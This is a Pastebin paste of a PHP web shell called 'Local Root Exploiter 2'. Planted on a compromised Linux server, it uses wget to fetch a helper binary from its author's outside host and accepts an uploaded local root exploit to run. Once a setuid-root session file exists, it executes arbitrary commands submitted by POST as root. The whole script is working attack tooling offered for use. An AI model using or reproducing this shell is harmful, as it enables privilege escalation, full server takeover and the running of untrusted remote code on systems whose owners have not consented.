actl3gal

local_root_exploiter-2

Dec 16th, 2017
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.59 KB | None | 0 0
  1. <?php
  2. /*
  3. -- By MakMan
  4. -- http://www.mukarramkhalid.com
  5. -- http://makman.tk
  6. -- https://www.facebook.com/makmaniac
  7. -- https://twitter.com/themakmaniac
  8. */
  9.  
  10. ini_set('error_reporting', 0);
  11. ini_set('max_execution_time', 0);
  12.  
  13. $handle_url     = "http://makman.tk/scripts/makman";
  14. $path           = getcwd()."/";
  15. $cmd            = ( isset( $_POST["cmd"] ) ? $_POST["cmd"] : '' );
  16. $exploit        = ( isset( $_POST["check_exploit"] ) ? $_FILES["exploit"]["name"] : '' );
  17.  
  18. ?>
  19.  
  20. <!doctype html>
  21. <html>
  22. <head>
  23.     <meta charset='utf-8'>
  24.     <title>MakMan - Root Exploiter - 2</title>
  25.     <style type='text/css'>
  26.     body
  27.     {
  28.         font:                 normal 15px Verdana;
  29.         color:                #ffffff;
  30.         background-color:     #000000;
  31.     }
  32.     textarea
  33.     {
  34.         width:                100%;
  35.         height:               300px;
  36.         resize:               none;
  37.         overflow-y:           scroll;
  38.     }
  39.     pre
  40.     {
  41.         text-align:           center;
  42.     }
  43.     a
  44.     {
  45.         text-decoration:      none;
  46.         color:                #ff0000;
  47.     }
  48.     a:hover
  49.     {
  50.         text-decoration:      underline;
  51.         color:                #ff0000;
  52.     }
  53.     .green
  54.     {
  55.         font:                  normal 15px Verdana;
  56.         color:                 #00ff00;
  57.         text-align:            center;
  58.     }
  59.     .red
  60.     {
  61.         font:                  normal 15px Verdana;
  62.         color:                 #ff0000;
  63.         text-align:            center;
  64.     }
  65.     </style>
  66. </head>
  67. <body>
  68. <pre>
  69. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+    +-+-+
  70. |L|o|c|a|l| |R|o|o|t| |E|x|p|l|o|i|t|e|r| -- | 2 |
  71. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+    +-+-+
  72. </pre>
  73. <h1 class='red'>By <a href='//mukarramkhalid.com'>MakMan</a></h1>
  74. <pre>
  75. ----------------------------------------------------------------------
  76. </pre>
  77. <?php
  78.  
  79.     ################################      MAKMAN_FUNCTIONS     #################################
  80.  
  81.     function check_os(  ) {
  82.         if ( strtoupper( substr( PHP_OS, 0, 3 ) ) === "WIN" ) {
  83.             exit( "<p class='red'>Only works on Linux</p></body></html>" );
  84.         }    
  85.     }
  86.  
  87.     function format_output( $out ) {
  88.         foreach( $out as $o ) {
  89.             echo htmlspecialchars( preg_replace( "/\x1b\[[0-9;]*m/", "", trim( $o ) ) )."\n";
  90.         }
  91.     }
  92.  
  93.     function check_session(  ) {
  94.        
  95.         global $path;
  96.  
  97.         clearstatcache(  );
  98.         if( fileowner( $path."makman" ) == 0 && file_exists( $path."makman" ) && filesize( $path."makman" ) != 0 && decoct( fileperms( $path."makman" ) ) == 104755 ) {
  99.             return true;
  100.         }
  101.         else {
  102.             return false;
  103.         }
  104.     }
  105.  
  106.     function download_module(  ) {
  107.  
  108.         global $path, $handle_url;
  109.  
  110.         if( !file_exists( $path."makman" ) || filesize( $path."makman" ) == 0 ) {
  111.             exec( "wget ".$handle_url." -O ".$path."makman" );
  112.             chmod( $path."makman", 0755 );
  113.             if( !file_exists( $path."makman" ) || filesize( $path."makman" ) == 0 ) {
  114.                 return false;
  115.             }
  116.             else {
  117.                 return true;
  118.             }
  119.         }
  120.         return true;
  121.     }
  122.  
  123.     function execute($action, $exp) {
  124.  
  125.         global $path, $handle_url;
  126.  
  127.         if(download_module()) {
  128.             if( $action == "exploit" ) {
  129.                 if( move_uploaded_file( $_FILES["exploit"]["tmp_name"], $path.$exp ) ) {
  130.                     chmod( $path.$exp, 0755 );
  131.                     exec( $path."makman --exploit='".$path.$exp."'", $output );
  132.                     format_output( $output );
  133.                 }
  134.                 else {
  135.                     echo "Failed to Upload. Check the path ".$path." and set proper permissions.";
  136.                 }
  137.             }
  138.             else if ($action == "command") {
  139.                 exec( $path."makman --command='".$exp."'", $output );
  140.                 format_output($output);
  141.             }
  142.         }
  143.         else {
  144.             echo "Failed to download the handler from ".$handle_url.". Download it manually and save it here ".$path."makman with 'chmod +x'.";
  145.         }
  146.     }
  147.    
  148.  
  149.     ################################      MAKMAN_MAIN     #########################################
  150.  
  151.     check_os(  );
  152.  
  153.     if( check_session(  ) ) {
  154.        
  155.         echo "<p class='green'>Root session exists. Insert commands to execute.</p>";
  156.         echo "<textarea>";
  157.         if( isset( $_POST["cmd"] ) ) {
  158.             execute( "command", $cmd );
  159.         }
  160.         echo "</textarea>";
  161.         echo "
  162.                <center>
  163.                <form method='POST' action=''>
  164.                <input name='cmd' type='text' autofocus><br>
  165.                <input name='Submit' value='Submit' type='submit'><br>
  166.                </form>
  167.                </center>
  168.            ";
  169.  
  170.     }
  171.  
  172.     else {
  173.  
  174.         if( isset( $_POST["check_exploit"] ) ) {
  175.             echo "<textarea>";
  176.             execute( "exploit", $exploit );
  177.             echo "\nRefreshing page in 2 seconds.";
  178.             echo "</textarea>";
  179.             header( "Refresh:2" );
  180.         }
  181.         echo "<p class='red'>Session not found. Upload your local root exploit to execute.</p>";
  182.         echo "
  183.                <center>
  184.                <form method='POST' action='' enctype='multipart/form-data'>
  185.                <input name='check_exploit' type='hidden' value='1'>
  186.                <input name='exploit' type='file'>
  187.                <input name='Submit' value='Submit' type='submit'><br>
  188.                </form>
  189.                </center>
  190.            ";
  191.  
  192.     }
  193.  
  194.  
  195. ?>
  196.  
  197.  
  198. </body>
  199. </html>
Add Comment
Please, Sign In to add comment